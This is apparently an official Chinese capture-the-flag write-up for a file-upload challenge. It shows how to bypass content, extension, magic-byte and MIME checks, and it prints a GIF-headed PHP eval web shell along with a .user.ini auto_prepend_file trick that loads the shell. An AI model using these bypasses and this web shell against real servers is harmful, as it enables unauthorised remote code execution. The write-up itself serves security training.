题目场景
官方WriteUp
本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的
本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行
这里需要绕过的点如下
1、检查文件内容是否有php字符串
2、检查后缀中是否有htaccess或ph
3、检查文件头部信息
4、文件MIME类型
解题流程
1、对于第一点可以利用短标签绕过,例如<?=phpinfo();?>
2、对于第二点可以通过上传.user.ini文件绕过
3、第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a
4、第四点绕过方法即修改上传时的Content-Type
这是一道文件上传的题目,在上传文件中发现对文件的后缀名进行了过滤,php,phtml,php3和大小写等都不行
将上传后缀改成.jpg发现上传不上,这里可以发现他对上传文件的内容也进行了验证
这里可以加入图片头,但发现还是上传失败;经过尝试发现上传的内容不能有php字符,使用短标签绕过,发现上传成功但无法访问
<?=eval($_POST['blue']);?>
.user.ini文件绕过
上传.user.ini,内容为
GIF89a
auto_prepend_file=blue.jpg
auto_prepend_file的用法:auto_prepend_file可以让所有的php文件自动的包含某个文件,(意思就是.user.ini和blue.jpg同一目录下的所有后缀.php文件都会包含blue.jpg文件)
上传blue.jpg,内容为
GIF89a
<?=eval($_POST[blue]);?>
使用蚁剑连接获得flag